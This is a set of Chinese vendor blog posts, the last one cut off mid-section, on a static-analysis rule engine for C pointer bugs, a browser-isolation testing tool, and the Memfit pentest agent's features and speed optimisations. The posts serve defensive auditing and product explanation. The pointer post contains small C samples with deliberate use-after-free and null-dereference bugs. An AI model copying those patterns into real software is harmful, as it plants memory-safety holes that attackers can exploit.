Yak Project

Github地址：

Yakit 视频教程：

Memfit下载地址：

IRify下载地址：

YTray下载地址：

指针审计：一组新的 SyntaxFlow Native Call

Thu, 03 Sep 2026 18:27:00 +0800

原创 Yak 2026-09-03 18:27 四川

新增指针相关的syntaxflow native call，通过控制流助力分析c语言指针问题

在审计 C 时，我们常常会关注指针相关的问题，名字大家其实都熟：UAF、Double Free、NPD、内存泄漏。以前写 SyntaxFlow，得自己把 free 捞出来，再去后面翻有没有人还在用。分支一多，规则就不好写。

SyntaxFlow 这边控制流分析一直在补：if 怎么分叉、从 A 能不能走到 B、中间必不经过某次判断，规则里已经能问了。顺着这条能力往下，指针审计也有了新的写法——引擎会跟着这些路径，把每个指针此刻还能不能用、是不是空记下来。规则直接问、就行，不用自己在规则里把控制流再走一遍。

目前先覆盖 C 的 malloc / calloc / realloc 和 free。

一、整体流程

源码先被编译。malloc 记成一次分配，free 记成一次释放，*p 记成一次解引用。if、return 会把函数拆成一段段，连成一张「代码会怎么往下走」的图。

接着引擎就顺着这张图走。每走到一块代码，就更新这块内存的状态：还活着、已经释放、空还是非空。碰到 if 就分叉记；两条路再并到一起。

规则这边只负责提问。写或 $p，拿到的是已经走完路径的结论，不是在源码里搜字符串。告警一般落在真正出错的那一次使用上。UAF 还会尽量带上是哪次 free 把它放掉的，数据流图里可以从使用点点回释放点。

二、控制流怎么走进指针审计

程序的执行过程可以看作对一张共享状态表的持续演化。执行流依次进入各个函数，每个函数在被调用时读取当前状态，执行其逻辑，并将变更写回状态表。函数返回后，控制流并不重置或回溯，而是基于更新后的状态决定后续分支的走向。

换言之，这是一条单向推进的执行链：状态驱动决策，决策驱动路径，路径再次修改状态——循环往复，直至每个函数都会被走到。

查的东西不一样，表上记的也不一样：

你在查	沿路记什么	两条路并到一起时
UAF、Double Free	这块内存还活着，还是已经释放	有一条路已经释放，并起来就算已经释放
内存泄漏	同样记活着 / 已释放	有一条路还活着，并起来就算可能还没释放
NPD	空、非空，还是说不准	if (p) 的两边先分开改，再继续走

沿路记什么：这块内存还活着，还是已经释放；记活着 / 已释放；空、非空，还是说不准

YAK

2.1 UAF

来看下面这个和 UAF 相关的案例：

#include
intmain(int abrt){
    int *p = (int*)malloc(sizeof(int));
    *p = 10;
    if (abrt) {
        free(p);
        *p = 20;   // 这条路上：刚 free 完又写，UAF
        return 1;
    }
    free(p);       // 另一条路：free 完直接返回，没有再用
    return 0;
}

malloc 之后 p 指向一块活着的内存，因此 *p = 10 没问题。然后 if (abrt) 分成两叉。走进 then：先 free，再 *p = 20。状态已经是「释放了」，这次写入就是 UAF，接着 return 1，这条路结束。另一边只 free 再返回。后面没人再用，不报 UAF，也不报泄漏。

YAK

2.2 NPD

NPD 跟「有没有走过判空」绑在一起。if (p)、if (!p)、if (p == NULL) 会把后面分成两路：这一边可以当非空，那一边必须当空。

if (p) { 
    *p = 1; 
}           // 大括号里当非空，不报
if (!p) { 
    return; 
} 
*p = 1;  // 判过空再解引用，一般安全


p = 0; 
p->x = 1;             // 明明是空还解引用，要报
if (c) { 
    p = 0; 
} 
p->x = 1;  // 有的分支置空，并起来说不准，也要报

函数调用时以指针作为参数，仅发生值拷贝（复制地址本身），不涉及对所指对象的访问，因此不构成解引用。解引用的语义边界在于：是否通过该地址发起了内存访问。具体触发解引用的操作包括：

间接访问运算符 *p —— 读取/写入所指对象的值
箭头运算符 p->field —— 基于地址偏移访问结构体成员
下标 p[i]—— 等价于 *(p + i)，同样触发访存

在此之前，指针只是一个整数值的容器，传参阶段不会触碰它指向的内存。

YAK

2.3 跨过程怎么跟进

函数里面的 if、return 是过程内的事。真正写规则时，释放和解引用经常不在同一个函数里：main 里 malloc，freep(p) 里才 free。引擎不会把 callee 整份控制流再嵌进 caller 走一遍，而是先给每个函数做一份形参摘要，再在调用点上用。

第一步：每个函数自己报一遍。

扫这个函数的指令，看形参后来发生了什么，记三件事：

这个形参会不会被 free
会不会 free(*p) 这种「顺着指针再释放里面那块」
会不会被解引用（*p、p->field）

只记「第几个参数」，不把整条路径展开。void freep(int *p) { free(p); } 就会记成：第 0 个形参会被释放。

第二步：摘要互相传。

A 调用 B，B 已经知道自己会 free 第 0 个参数，那 A 里对应的那个实参，对 A 来说也算「会被释放」。包装再套一层也一样：wrap 调 freep，freep 调 free，摘要会往上传。这一步会多走几轮，直到没有新的「谁释放了谁」为止。

第三步：真正顺着 caller 走的时候，碰到一次调用。

比如 freep(p)，先查出 freep 的摘要，再决定这次调用对 p 意味着什么：

摘要说会 free 这个参数：这次调用就当成一次释放。后面再 *p，报 UAF；再 free(p)，报 Double Free。泄漏那边则当成这块内存已经交出去了。
摘要说会解引用：若 p 此时已经释放，这次调用本身就是 UAF；若可能是空，NPD 仍只在真正的 *p / p->field 上报，单把指针当参数传进去不算解引用。
有函数体，但只是把指针存起来、既不 free 也不解引用：不当成一次使用，避免 hold(p) 这种误报。
找不到函数体（extern、函数指针、间接调用）：偏保守，可能当成会使用。

入口处不会假设「调用者进来之前就已经 free 过了」。形参先当成还活着，只有这个函数里（或摘要认定的调用）真的释放了，才变成已释放。这样跨函数不容易误报。

NPD 还有一种跨过程：callee 里写了 *a = NULL，caller 会看到这次写入，之后再解引用就会按空来算。

对照一段很常见的包装：

voidfreep(int *p) { free(p); }


intmain() {
    int *p = (int*)malloc(sizeof(int));
    *p = 10;
    freep(p);   // 摘要：freep 会释放第 0 个参数 → 这里当成 free
    *p = 20;    // UAF
    return 0;
}

流程是：先给 freep 打上「释放形参 0」；走 main 时碰到 freep(p)，把 p 标成已释放；后面的 *p = 20 就是 UAF。规则仍然写 $p 即可，不必自己把 freep 展开。

跟不深的情况也要心里有数：函数指针、只在头文件里看到的声明、绕很多层才 free，摘要可能跟丢，结果是漏报，或者按 extern 走得偏保守。泄漏同样用这份摘要——包装函数里已经 free 了，caller 出口一般不再当泄漏。

三、指针审计和控制流查询

结合控制流相关的 native call（getCfg、cfgReachable、cfgDominates、cfgGuards 这类）可以实现从图上 A 走到 B，对中间过程进行更加准确的审计。

四：规则的使用

*                 // 整个程序扫一遍，先看看有没有
$p                // 只问已经拿到的 $p
$p)>         // 和上一行一类，种子写在参数里

日常排查内存问题，最顺手的方式是先找到指针，再针对它提问。

不带主语，适合先全局扫一眼，快速看看有没有释放后使用的风险。但真正写规则时，用 $p 更干净——把指针变量明确写在前面，报告结果直接绑定到这个具体的指针上，省得从一堆候选里再手动定位。

追问一个指针指向哪里，用，写法是 $p。它必须跟在指针后面，因为分析器需要知道你问的是谁的指向关系。

判断两个指针是否指向同一块内存，用 a。这在检测双重释放时特别有用——先确认两个指针共享同一块内存，再看是否存在同一条路径上先后释放了两次。

一句话总结：先锁定指针，再下诊断；跟在后面；比别名用 aliases，双 $ 不能省。

写法	解决什么问题	结果落在哪
	有没有 UAF（Double Free 也算一类）	出错的那次使用
	有没有第二次 free	第二次 free
	可能为空的时候有没有解引用	解引用的位置
	函数结束时这块堆内存是不是还可能没放、也没交出去	那次分配

PS：只要 Double Free，可以写成。

写法	在找什么
	malloc 这类分配
	free
	写成 *p 的读取（p->x 不一定在这里）
	if (p) 这种判空
	这个指针可能指向哪
	会不会和 $b 是同一块内存

五、规则使用案例

全项目扫一遍

*<heapAlloc()> as $alloc
*<freeCall()> as $free
*<uaf()> as $uaf
*<doubleFree()> as $df
*<npd()> as $npd
*<memLeak()> as $leak


alert $uaf for { title: "Use After Free", title_zh: "释放后使用", level: "high" }
alert $df  for { title: "Double Free",    title_zh: "重复释放",   level: "high" }
alert $npd for { title: "Null Deref",     title_zh: "空指针解引用", level: "high" }
alert $leak for { title: "Memory Leak",   title_zh: "内存泄漏",   level: "low" }

UAF

不用自己判断 free 后面还有没有用。找到被 free 的指针，交给引擎：

free(* as $free_arg)
$free_arg #-> as $ptr
$ptr<uaf()> as $uaf


alert $uaf for {
    title: "Use After Free",
    title_zh: "释放后使用",
    level: "high",
    risk: "释放后使用",
}

NPD

找到解引用，再问当时空不空：

*<npd()> as $npd


alert $npd for {
    title: "Null Pointer Dereference",
    title_zh: "空指针解引用",
    level: "high",
}

只针对某一个指针

pa as $pa
pb as $pb
*<doubleFree(target=$pa)> as $df_pa
*<doubleFree(target=$pb)> as $df_pb

泄漏

看函数结束时还在不在：

p as $focus
$focus<memLeak()> as $leak

malloc 完直接 return：还活着，也没交出去，报泄漏
free 完再 return：不报
if (abrt) free(p); 然后返回：有一条路没释放，报泄漏
then、else 里都 free：不报
return p;：所有权交给调用者，不报

别名

两个指针是不是同一块：

p as $focus
q as $alias
r as $other


$focus<pointsTo()> as $obj
$alias<aliases(target=$focus)> as $hit
$other<aliases(target=$focus)> as $miss

q = p 时，hit 会留下 q、r 是另一次 malloc、miss 应为空。

和 CFG 拼在一起

给出的命中已经考虑过分支。如果报告上还想标路径，可以再问：

p as $p
$p<freeCall()> as $free
$p<uaf()> as $use
$use<cfgReachable(target=$free)> as $use2
alert $use2

六、使用时要注意

现在主要是 C。别的语言如果没有同样的分配、释放信息，问了也可能是空的。
跨函数只跟一层。freep(p) 这种包装通常没问题；函数指针、绕很深的释放，可能会漏，或者偏保守。
先全项目扫可以，定规则的时候尽量绑到具体指针。$p 比 * 干净。
只管写成 *p 的读取。p->field 或 *p = ... 不一定出现在这个列表里，但、 还是可能从成员访问报出来。
请跟在目标指针后面。写成 * 时，if (abrt) 这种普通条件有时也会被收进来。
指针当参数传出去，NPD 不会把它当成解引用。

END

Memfit：是万径安全旗下Yaklang团队研发的面向长程渗透测试、漏洞挖掘、应急响应等全链路攻防任务的生产级安全领域Agent系统

Yakit：是万径安全旗下Yaklang 团队开源的一款完全国产的交互式安全测试平台

YAK官方资源

Yakit官网下载地址：

Github地址：

Yakit 视频教程：

Memfit下载地址：

IRify下载地址：

YTray下载地址：

YTray: 浏览器隔离与分身测试新神器

Fri, 28 Aug 2026 17:03:00 +0800

原创 Yakit 2026-08-28 17:03 四川

助力多账号多权限与复杂测试环境浏览器隔离

做多角色权限测试时，你可能同时需要管理员、普通用户和访客账号；做研发联调时，又要频繁切换代理、浏览器版本和本地插件。

反复退出登录、开无痕窗口、手动维护多个 Chrome Profile，不仅麻烦，也很容易混淆测试环境。

YTray是万径安全旗下Yaklang团队开发的一款面向安全测试与研发联调的原生桌面应用。它可以为每项任务创建独立、可恢复的本地浏览器实例，把账号、代理、插件、浏览器版本和调试端口放在一起管理。

一、一个实例，一套独立浏览器环境

每个 YTray 实例都有独立的用户目录，Cookie、Local Storage、缓存、插件数据和登录状态互不影响。

例如，可以同时保留：

A：管理员账号 + 直连网络

B：普通用户账号 + HTTP 代理

C：访客账号 + 指定版本 Chrome for Testing

macOS Dock 和 Windows 任务栏会使用 A、B、C 角标区分实例，不用再逐个切换窗口确认身份。

二、YTray 能做什么？

身份隔离：

不同账号可以同时登录同一系统，适合多角色权限测试、多租户联调和长期任务。

浏览器与网络配置：

YTray 会自动识别本机 Chrome、Edge 和 Chromium，也可以安装指定版本的 Chrome for Testing。启动时可以明确选择直连或 HTTP 代理，避免网络路径含糊。

本地插件与调试：

启用本地插件后，新实例会自动加载。正式安装包还内置了 Yakit Browser Agent。每个实例会分配独立调试端口，并且只绑定 127.0.0.1。

运行管理与历史恢复：

YTray 会记录页面标题、地址、缩略图、PID 和调试端口。实例停止后，用户目录和登录状态仍会保留，之后可以从历史中继续恢复。

三、四步开始使用

YAK

1.1 选择浏览器

进入“浏览器”页面，选择系统浏览器，或者安装 Chrome for Testing。

如果需要加载本地插件、使用代理认证或固定浏览器版本，推荐使用 Chrome for Testing、Chromium 或 Edge。

需要注意的是，如果没有使用 Chrome for Testing ，但是却勾选了加载浏览器插件，是无法打开浏览器的

YAK

1.2 启用插件

进入“插件”页面，可以加载根目录包含 manifest.json 的本地插件，也可以直接使用内置的 Yakit Browser Agent。

打开“默认加载”后，后续创建的新实例会自动携带该插件，不需要每次重复选择。

Ytray 安装包中默认包含了最新版本的 Yakit Browser Agent 插件，且 Yakit Browser Agent 只有开启和关闭功能，无法被删除
Yakit Browser Agent 的核心功能是充当浏览器和 yak 引擎之间的桥梁，方便让 yak 引擎，获取一些浏览器的原生能力

YAK

1.3 选择网络并启动

回到概览页，选择浏览器、网络模式和启动地址，然后点击“启动实例”。

高频操作可以直接选择“无代理启动”或“使用 HTTP 代理启动”；需要临时调整插件、端口和 Chrome 参数时，再进入自定义启动。

代理地址可以预先保存和检测，用户名与密码不会直接写入浏览器命令行。

YAK

1.4 管理和恢复实例

实例启动后，可以在主窗口或贴边悬浮面板中：

查看页面缩略图和运行状态；
聚焦浏览器窗口；
截图；
打开实例目录；
停止实例；
从历史中恢复原来的身份环境。

平时可以让 YTray 驻留在 macOS 菜单栏或 Windows 系统托盘中，需要时再打开完整管理界面。

四、一个典型场景

测试后台系统的权限控制时，可以分别创建管理员、普通成员和只读访客三个实例，让它们同时访问同一页面。

这样可以直接对比不同角色看到的按钮、数据和接口行为；即使中途关闭浏览器，下次也能恢复原来的账号和测试环境。

需要走代理的实例单独选择 HTTP 代理，不会影响其他直连实例。

五、数据留在本机

YTray 不会上传 Cookie、浏览器历史、登录状态、代理凭据或本地插件数据。

它只会在需要时访问正式版本清单，以及用户主动下载的浏览器、插件和安装包资源。调试服务只监听本机回环地址。

YTray 也不会修改系统浏览器的名称、签名或默认浏览器设置，它只使用隔离参数启动用户明确选择的浏览器。

六：下载 YTray

YTray 目前支持：

macOS 14 及以上，Apple Silicon 和 Intel；
Windows 10 / 11，x64 和 x86。

官方网站会根据当前设备推荐对应安装包：

请仅在合法、授权的开发与安全测试场景中使用。

END

Memfit：是万径安全旗下Yaklang团队研发的面向长程渗透测试、漏洞挖掘、应急响应等全链路攻防任务的生产级安全领域Agent系统

Yakit：是万径安全旗下Yaklang 团队开源的一款完全国产的交互式安全测试平台

YAK官方资源

Yakit官网下载地址：

Github地址：

Yakit 视频教程：

Memfit下载地址：

IRify下载地址：

YTray下载地址：

牛来，速归！Memfit接入：GLM-5.3；Qwen3.8-Flash

Thu, 27 Aug 2026 12:43:00 +0800

原创 Yakit 2026-08-27 12:43 四川

速归！！

昨天更新了两个新模型：

GLM-5.3-Flash（靠混合注意力和 mHC 换推理成本）

Qwen3.8-Flash（靠 GDN+QSA 和 Muon 换训练效率）

两家都在用“稀疏化”换前沿智能的普惠价格。

咱这边的Memfit也是速速接入。

一、简单说下更新核心：

YAK

1.1 GLM-5.3 核心变化

· 混合注意力：线性注意力压历史 + 稀疏注意力检索关键信息，计算量降 3 倍、KV 缓存降 4.4 倍，支撑 1M 上下文。

· IndexPool：加权池化压缩索引器缓存头，百万 token 下每 token 计算量降 2.9 倍。

· mHC 流形约束超连接：重塑残差连接，兼顾 Scaling 能力与训练稳定性。

· 参数效率 + 多模态：激活参数 32B→18B、层数减半，30T 多模态语料预训练，更少算力更强性能。

YAK

1.2 Qwen-3.8 核心变化

· GDN＋QSA：Gated DeltaNet 压缩历史状态，Qwen Sparse Attention 在 micro-block 粒度检索重要上下文；

· Gated Residual：把残差流扩成四条分支，再动态控制读写；

· 51B N-gram Embedding：像一块大型局部模式查找表，可放在主机内存并异步预取；

· Muon 优化器：针对大规模 MoE 重新调整参数分工和 Scaling Law。

二、如何在 Memfit 中切换模型？

更新到最新版本 memfit ai - 旧版本体验会下降

然后，按下切换，就可以了~

趁着（2026年）8.26-8.31，Memfit AI 免费不限量，快去试试~

END

Memfit：是万径安全旗下Yaklang团队研发的面向长程渗透测试、漏洞挖掘、应急响应等全链路攻防任务的生产级安全领域Agent系统

Yakit：是万径安全旗下Yaklang 团队开源的一款完全国产的交互式安全测试平台

YAK官方资源

Yakit官网下载地址：

Github地址：

Yakit 视频教程：

Memfit下载地址：

IRify下载地址：

Memfit AI架构升级，限时免费用不限量！

Wed, 26 Aug 2026 16:00:00 +0800

Yakit 2026-08-26 16:00 四川

8.26-8.31哟~~

Memfit 版本更新啦，限时活动

标准模型与 DeepSeek V4 Flash 0731

不限量供应

时间：8月26到8月31日

下载最新版本 Memfit AI v1.04-0825 版本

下载地址：

https://memfit.ai/

也可在 Memfit / Yakit AI 登陆选择更多 AI。

下面是Memfit AI执行演示（部分）

一、执行过程看得见

Agent 重点执行轨迹：已完成、进行中与待处理内容一目了然。

Agent 在执行任务时，究竟已经做了什么？正在做什么？任务推进到了哪一步？

新版 Memfit AI 增加了更直观的「执行轨迹」展示。系统会将任务过程中的重点内容整理为清晰的待办清单与行动记录，包括已完成事项、当前执行步骤、关键工具调用、流量记录以及整体任务进度。

用户无需翻阅冗长日志，就能快速掌握：

AI 已经完成了哪些工作
当前正在执行什么操作
后续还有哪些任务等待处理
每个关键步骤的执行状态与流量情况
整条任务路径是如何逐步推进的

这不仅让 Agent 的工作过程更加透明，也能减少等待过程中的不确定感。当任务较长、步骤较多时，用户仍然可以随时了解进度，快速定位重点，并对最终交付结果形成更清晰的预期。

让 AI 的每一步行动都有迹可循，让复杂任务的执行过程真正看得见。

二、自由输入，解放不同 AI 能力

Memfit AI Agent 多模型工作台：根据不同安全任务，自由选择模型、工作模式与推理策略。

Memfit AI Agent 将常用的安全任务集中到统一入口中。无论是 SQL 注入验证、未授权与越权访问检查、代码敏感信息审计，还是登录入口分析、扫描报告解读，用户都可以直接用自然语言描述目标，让 Agent 理解任务并开始执行。

针对不同类型的工作，用户还可以自由切换安全领域、代码安全审计、渗透测试等任务场景，并根据速度、效果和任务复杂度选择合适的 AI 模型。

目前的模型选择界面支持 DeepSeek、GLM等不同模型，也可以单独配置是否启用 Thinking。简单任务可以优先追求响应速度，复杂分析则可以选择更适合深度推理的模型，让每一次 Agent 执行都更加贴合实际需要。

从模型选择、任务理解到安全工具调用，Memfit AI 正在把原本分散的能力整合到同一个工作台中。

选择合适的模型，说出你的目标，剩下的执行过程交给 Agent。

· 安全场景开箱即用：内置常见安全任务示例，降低使用门槛。

· 多种工作模式：覆盖安全分析、代码审计和渗透测试等场景。

· 模型自由选择：可以根据任务特点切换不同 AI 模型。

· Thinking 可配置：针对不同任务控制推理方式，兼顾速度与分析深度。

· 自然语言驱动：不需要编写复杂指令，直接描述目标即可开始工作。

三、Agent 执行剪影：从发现问题，到调整路径，再到并行推进

这是一段 Memfit AI Agent 的真实执行剪影。

在任务过程中，Agent 不只是机械地按照固定步骤运行。它会持续发起请求、读取返回结果、识别潜在风险，并根据当前情况调整后续执行路径。

从图中可以看到，一次完整的 Agent 推进过程包括：

发起 HTTP 请求并检查页面返回内容
结合响应结果判断潜在安全风险
将已确认的风险及时记录并输出
遇到调用失败时分析原因并调整请求方式
完成当前目标后，自动切换到下一项探测任务
同时准备多个工具调用，并行推进后续测试

例如，当 Agent 发现匿名投稿接口可能成为存储型 XSS 的潜在入口时，会先记录对应风险和验证状态，再继续探测广告后台、控制台与聊天子域等目标。界面同时展示当前请求、风险输出、任务进展以及正在准备的工具参数。

这让用户看到的是整个任务如何一步步向前推进，用户也随时可以介入来调整执行状态与优化执行标准。

发现了什么、做出了什么判断、哪些内容已经完成，以及接下来准备做什么。

总结小tips

· 执行过程可视化：关键请求、任务进度和工具调用清晰可见。

· 动态调整路径：根据实际返回结果修正方法，不被单次失败阻断。

· 风险即时沉淀：发现潜在问题后及时记录，避免信息在长任务中丢失。

· 多目标持续推进：完成一个阶段后继续探索后续目标。

· 并行工具调用：多个独立任务可以同步准备和执行，提高整体效率。

四、Memfit 发现风险，实时沉淀

Memfit AI Agent 风险成果中心：实时汇总任务发现，让每一条风险都可查看、可追踪、可继续验证。

Agent 的价值不仅在于自动执行任务，更在于把执行过程中发现的问题，转化为清晰、可追踪的安全成果。

Memfit AI Agent 会将识别到的疑似风险与已验证问题，持续汇总到「漏洞与风险」中心。用户可以直接查看风险标题、漏洞类型、危险等级、目标 IP 与对应 URL，无需再从大量对话和请求记录中手工整理结果。

从图中可以看到，Agent 已经识别并记录了匿名投稿、未授权访问、越权读取、SSRF 等多个高风险问题。

新的风险会通过消息中心及时提醒，同时保留对应的任务执行轨迹，方便用户返回现场继续分析与验证。

这让一轮 Agent 任务形成完整闭环：

自动探测 → 分析判断 → 风险输出 → 集中管理 → 持续跟进

总结小tips

· 风险自动归档：Agent 发现的问题自动进入风险列表。

· 结果结构化展示：标题、类型、等级、IP 和 URL 一目了然。

· 高危问题及时提醒：新风险通过消息中心实时通知。

· 执行与结果联动：左侧查看风险成果，右侧继续跟踪 Agent 执行过程。

· 便于复核与交付：风险记录可继续验证、补充证据并整理为交付结果。

END

YAK官方资源

Yakit官网下载地址：

Github地址：

Yakit 视频教程：

Memfit下载地址：

IRify下载地址：

让 AI Agent 跑得更快：Memfit 速度优化

Fri, 21 Aug 2026 17:00:00 +0800

原创 Yakit 2026-08-21 17:00 四川

四个方向，同一件事：做减法

一、背景：Agent 到底慢在哪

Memfit^①的递归式双引擎架构中，ReAct 循环是核心执行单元。Plan-Execute 负责拆解目标，ReAct 负责逐个执行——而每一轮 ReAct 迭代，都要经历以下几个步骤：

注①：Memfit是万径安全旗下Yaklang 研发的面向长程渗透测试、漏洞挖掘、应急响应等全链路攻防任务的生产级安全领域Agent系统。

构建 Prompt：拼装 frozen/semi-dynamic/dynamic 各段，做 token 统计、observation 构建——这块有 ~235ms 的纯计算耗时
调用 LLM：最贵的一步，每次都是一次网络往返 + 推理，延迟在秒级
执行工具：HTTP 请求、文件读取、端口扫描等 I/O 操作
感知/验证：可能额外触发 1-2 次 LLM 调用（感知 AI call + 验证 AI call）

一个典型的安全测试任务会跑 10-20 轮这样的迭代。乍一看，最显眼的瓶颈当然是"调用 LLM"——延迟在秒级，又是按 token 计费，自然觉得优化这里收益最大。但真正排查下来，发现情况没那么简单。

二、单轮墙钟时间：Observation 异步化

回头看 ReAct 循环的四个步骤——构建 Prompt、调用 LLM、执行工具、感知/验证——每一步都可能有性能问题。我们先从"构建 Prompt"这一步开始。

顺着 generateLoopPrompt 的代码读下来，发现每轮 prompt 拼装完之后还有一段 observation 逻辑，稳定占用 ~235ms。这个开销不是偶发的，而是每轮迭代都在。

把 generateLoopPrompt 的调用链展开，这 235ms 花在了这里：


BuildPromptObservation  →  遍历所有 prompt section，统计 bytes/tokens/lines

BuildStatus             →  构建 UI 面板用的状态对象

emitPromptObservation   →  推送给前端的 prompt profile 面板

ytoken.CalcTokenCount   →  完整的 Qwen BPE 编码，逐段算精确 token 数

contentHash8            →  对每个 section 做 sha1 取前 8 字节

这看起来都是必要的工作——token 统计、状态构建、UI 推送。但仔细一看，这整套计算只服务于 UI 的 prompt profile 面板。Agent 真正调 LLM 用的是拼装好的 result.Prompt 字符串，跟 observation 没有关系。235ms 是纯给前端看的。

问题就清楚了。唯一真正卡在同步路径上的，是 verification gate（验证门）要用的 prompt token 数——验证门靠它判断"上下文涨了多少 token，要不要触发验证"。但验证门的阈值在 10K/20K 量级，这种粗粒度根本不需要 BPE 精确编码，len/4 就够了：


// 改动前：完整 BPE 编码，~235ms

_promptTokens := estimateTokenCount(result.Prompt)

// 改动后：len/4 粗估，<0.1ms

// verification gate 的 token 门阈值为 10K/20K 量级，粗估 len/4 即可

_promptTokens := len(result.Prompt) / 4

r.SetLastPromptToken(_promptTokens)

同步只留这行 len/4，完整的 observation 构建全部交给一个 fire-and-forget goroutine：


r.observationInflight.Add(1)

go func() {

    defer r.observationInflight.Done()

    defer func() {

        if rec := recover(); rec != nil {

            log.Warnf("async observation build panic recovered: %v", rec)

        }

    }()

    observation := BuildPromptObservation(_loopName, _nonce, _promptCopy, _asyncSections)

    status := observation.BuildStatus(0)

    r.SetLastPromptObservation(observation)

    r.SetLastPromptObservationStatus(status)

    if _emitter != nil {

        _emitter.EmitPromptProfile(status)

    }

}()

另外还发现一个细节：contentHash8 会对每个 prompt section 做 sha1，同一 section 内容跨迭代不变，但之前每轮都重算。加了一个 512 entry 的 LRU cache：


funccachedContentHash8(content string) string {

    contentHash8CacheMu.RLock()

    if h, ok := contentHash8Cache[content]; ok {

        contentHash8CacheMu.RUnlock()

        return h

    }

    contentHash8CacheMu.RUnlock()

    h := contentHash8(content)

    contentHash8CacheMu.Lock()

    if len(contentHash8Cache) > 512 {

        contentHash8Cache = map[string]string{} // 超过 512 条直接清空，简单粗暴

    }

    contentHash8Cache[content] = h

    contentHash8CacheMu.Unlock()

    return h

}

改完之后，每轮迭代的同步路径减少 ~235ms。一个跑 20 轮的任务，光这一项就省了将近 5 秒。而 UI 面板最多延迟几百毫秒看到 observation 数据——用户完全感知不到。

三、LLM 调用次数：移除无用调用与降频（-57%）

单轮的墙钟时间优化之后，注意力自然转向第二个步骤——"调用 LLM"。这一步本身是必要的，每轮的主循环决策必须经过 LLM。但问题在于，主循环之外还设计了不少"附加 LLM 调用"：感知、验证、记忆 triage、意图识别。这些机制在各自的场景下都有价值，但随着系统演进，有些调用的触发频率偏高，有些的结果已经不再被下游消费。10 轮迭代里额外跑 5-7 次附加调用，累积起来开销不小。

于是我们逐个审视这些附加调用：触发频率是否还匹配当前场景？有没有更轻量的替代方案？能不能延后到真正需要时再触发？

YAK

3.1 isDone 时的 SearchMemory：结果已无人消费

先看到的是任务完成（isDone）时的 SearchMemory 调用。这个机制最初设计时，意图是在任务收尾时检索一下相关记忆，供后续场景参考：


if isDone && !task.IsAsyncMode() {

    searchResult, err := r.memoryTriage.SearchMemory(task.GetUserInput(), 4096)

    // ...

    if len(searchResult.Memories) > 0 {

        log.Infof("found %d relevant memories for completed task %s (total: %d tokens)",

            len(searchResult.Memories), task.GetId(), searchResult.ContentTokens)

    }

}

但随着系统演进，这个调用的结果已经不再被任何下游逻辑消费——只写了一行 log。保留它意味着每次任务完成都多一次 G3 tag-selection LLM 调用。移除之后，行为无变化，零副作用。

YAK

3.2 记忆 flush 间隔：3→6，攒够了再处理

顺着记忆系统继续看，MemoryFlushBuffer 负责攒够一定量再触发 HandleMemory（含 G1 memory-triage LLM 调用）。原来的阈值是每 3 轮迭代 flush 一次，在早期任务规模较小时是合理的：


// 改动前：每 3 轮就 flush 一次

MaxPendingIterations: 3,

// 改动后：每 6 轮才 flush 一次

// 记忆写入仍异步不阻塞主循环，task done 时仍会 flush 不会丢失记忆

MaxPendingIterations: 6,

但任务变长后，3 轮一次的频率偏密：一个 10 轮任务会产生 iter 3/6/9 + done = 4 次 flush。调整为 6 轮一次后降到 2 次（iter 6 + done）。记忆写入是异步 fire-and-forget，延迟 flush 不阻塞主循环，任务结束时还会强制 flush，不会丢数据。

YAK

3.3 感知和验证：频率瘦身

前两项是比较直接的裁剪。感知和验证这两个机制本身都有价值——感知负责检测意图漂移、验证负责沉淀证据——但它们的触发频率在早期设得偏高，在任务变长后累积成了主要的附加开销。

Agent 每做一次 action 后，可能触发一次"意图感知"AI call。早期设计了三个触发入口：post_action、afterVerification、SPIN，最小间隔 120s，每 4 轮 iter 就可能触发一次。这在短任务里感知灵敏是好事，但任务变长后频次过高：

我们对触发入口做了裁剪：afterVerification 触发源移除——验证本身已经是对结果的判定了，再触发一次感知信息重叠较多。同时把间隔拉长：最小间隔 120s→5min，最大间隔 5min→15min，迭代间隔 4→8，指数退避阈值 2→1（首次无变化就翻倍，更快爬到上限）。

验证机制的频率也做了类似调整。Agent 会定期触发"用户满意度验证"AI call，早期几乎每 6-7 轮就触发一次，在短任务里能及时收尾，但任务变长后打断过于频繁。我们把阈值逐个调高：

参数	改动前	改动后	说明
时间门	180s	1800s（30min）	距上次验证多久才强制再跑
iter 门	6	20	每 N 轮才触发
首次触发	3 轮	10 轮	不再过早触发
软 token 门	1500	10K	上下文增长多少才触发
硬 token 门	5000	20K	超大增长才豁免冷静期

验证的定位也做了调整：从"高频满意度判定"转为"evidence 沉淀"，由 Agent 主循环通过 save_evidence action 主动沉淀证据，自动验证仅作最终兜底，不需要高频打断。

YAK

3.4 意图识别：从多轮 ReAct 精简为单次 AI call

最后看的是意图识别。早期设计时，意图识别本身也是一个完整的 ReAct 子循环——query_capabilities → finalize_enrichment + LiteForge fallback，可能跑好几轮迭代。这在初期能力丰富、匹配逻辑复杂时是合理的，但随着搜索机制成熟，可以用更轻量的方式替代：

改造后变成一个纯 init 流程：

BM25 搜索是纯本地计算，不调 LLM。只有匹配结果超过 12 条时才触发第二次 AI call 做推荐。简单场景一次 AI call 就够了。

YAK

3.5 效果汇总

一个 10 轮迭代的单任务，额外的 LLM 调用从 5-7 次降到 2-3 次，减少 57%。

LLM 调用来源	改动前	改动后
isDone SearchMemory	1 次	0 次
Memory flush (G1 triage)	3-4 次	1-2 次
Perception	2-3 次	0-1 次
Verification	1-2 次	0-1 次
意图识别	2-4 次	1-2 次
合计	5-7 次	2-3 次

四、迭代预算：有效迭代次数重定义

单轮耗时和 LLM 调用次数都优化了，但还有一个不太显眼的问题：Agent 有时候并没有"慢"，而是被迭代上限提前截断了——明明还在推进任务，却因为"轮次用完了"而退出。

这个问题的根源在于，迭代上限的计数方式有问题。

YAK

4.1 每一轮都算数，公平吗

原来的逻辑很简单：主循环每跑一圈，iterationCount 加一，到了 maxIterations 就停。这听起来合理，但实际跑起来会发现一个问题——不是每一轮都在推进任务。

Agent 在执行过程中会出现"空转轮"：AI 调了一个工具但没改动任何 TODO，或者向用户请求了一次澄清但没有产生新的行动。这些轮次消耗了一次迭代预算，但实际上什么也没推进。

举个具体的例子：Agent 有 3 个 TODO 要完成，maxIterations 设为 20。前 5 轮顺利完成了第一个 TODO，但第 6 轮 AI 调了一个工具发现需要更多信息，第 7 轮请求用户澄清，第 8 轮根据回复重新调了工具——这 3 轮都是空转，没动任何 TODO，但 iterationCount 已经涨到了 8。如果类似的情况多出现几次，Agent 可能在完成 2 个 TODO 后就因为"轮次用完"退出，第三个 TODO 没机会做。

这本质上是把"思考次数"和"推进次数"混为一谈了。

YAK

4.2 什么算"有效推进"

